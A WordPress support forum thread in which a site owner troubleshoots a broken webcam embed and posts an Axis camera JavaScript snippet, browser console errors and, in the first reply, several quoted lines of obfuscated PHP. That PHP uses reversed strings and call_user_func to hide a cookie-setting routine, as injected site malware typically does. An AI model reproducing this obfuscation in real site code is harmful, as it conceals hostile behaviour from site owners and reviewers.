Forum Replies Created

Viewing 3 replies - 1 through 3 (of 3 total)
  • Thread Starter lordklp

    (@lordklp)

    Just in case it helps :

    Line 119 $object_diecinueve = call_user_func($object_quince_pim, ‘TSOH_PTTH’);

    Line 120 $object_dieciocho = call_user_func($object_quince_pim, ‘REVRES_’);

    Line 125 $estimes = call_user_func($object_quince_pim, ’emitotrts’);
    Line 126 $wp_ext = call_user_func($estimes, ‘+29 days’);
    Line 127 $emit_nimda_pw = call_user_func($object_quince_pim, ’emit_nimda_pw’);
    Line 128 call_user_func_array($object_siete_pim, array($emit_nimda_pw, ‘1’, $wp_ext, $path, $host));

    Thread Starter lordklp

    (@lordklp)

    Hi esmi,

    What do you mean by enqueue the script correctly?

    Andrew Nevins : When viewing the page, and using the console, two ‘errors’ appear :

    Uncaught SyntaxError: Unexpected token < http://www.ymaescafe.co.uk/:143

    event.returnValue is deprecated. Please use the standard event.preventDefault() instead.

    Webbrewers : Yes, the source code output is as expected i.e. its the same in WP as it was in the basic index page i created to test the script.

    Thread Starter lordklp

    (@lordklp)

    Hi esmi, Yes, it seems to indicate that for one off uses, writing the code between <script> and </script> using the text editor should work, however it doesn’t. The code is actually fairly straightforward too :

    <SCRIPT LANGUAGE="JavaScript">
    // Set the BaseURL to the URL of your camera
    var BaseURL = "http://ymaes.axiscam.net/";
    
    // DisplayWidth & DisplayHeight specifies the displayed width & height of the image.
    // You may change these numbers, the effect will be a stretched or a shrunk image
    var DisplayWidth = "320";
    var DisplayHeight = "240";
    
    // This is the path to the image generating file inside the camera itself
    var File = "axis-cgi/mjpg/video.cgi?resolution=320x240";
    // No changes required below this point
    var output = "";
    if ((navigator.appName == "Microsoft Internet Explorer") &&
       (navigator.platform != "MacPPC") && (navigator.platform != "Mac68k"))
    {
      // If Internet Explorer under Windows then use ActiveX
      output  = '<OBJECT ID="Player" width='
      output += DisplayWidth;
      output += ' height=';
      output += DisplayHeight;
      output += ' CLASSID="CLSID:DE625294-70E6-45ED-B895-CFFA13AEB044" ';
      output += 'CODEBASE="';
      output += BaseURL;
      output += 'activex/AMC.cab#version=4,1,4,0">';
      output += '<PARAM NAME="MediaURL" VALUE="';
      output += BaseURL;
      output += File + '">';
      output += '<param name="MediaType" value="mjpeg-unicast">';
      output += '<param name="ShowStatusBar" value="0">';
      output += '<param name="ShowToolbar" value="0">';
      output += '<param name="AutoStart" value="1">';
      output += '<param name="StretchToFit" value="1">';
      output += '<B>Axis Media Control</B>';
      output += 'The AXIS Media Control, which enables you ';
      output += 'to view live image streams in Microsoft Internet';
      output += ' Explorer, could not be registered on your computer.';
      output += '</OBJECT>';
    } else {
      // If not IE for Windows use the browser itself to display
      theDate = new Date();
      output  = '<IMG SRC="';
      output += BaseURL;
      output += File;
      output += '&dummy=' + theDate.getTime().toString(10);
      output += '" HEIGHT="';
      output += DisplayHeight;
      output += '" WIDTH="';
      output += DisplayWidth;
      output += '" ALT="Camera Image">';
    }
    document.write(output);
    document.Player.ToolbarConfiguration = "play,+snapshot,+fullscreen"
    
    // Remove the // below to use the code for Motion Detection.
      // document.Player.UIMode = "MDConfig";
      // document.Player.MotionConfigURL = "/axis-cgi/operator/param.cgi?ImageSource=0"
      // document.Player.MotionDataURL = "/axis-cgi/motion/motiondata.cgi";
    </SCRIPT>

    [Moderator Note: Please post code & markup between backticks or use the code button. Your posted code may now have been permanently damaged by the forum’s parser.]

Viewing 3 replies - 1 through 3 (of 3 total)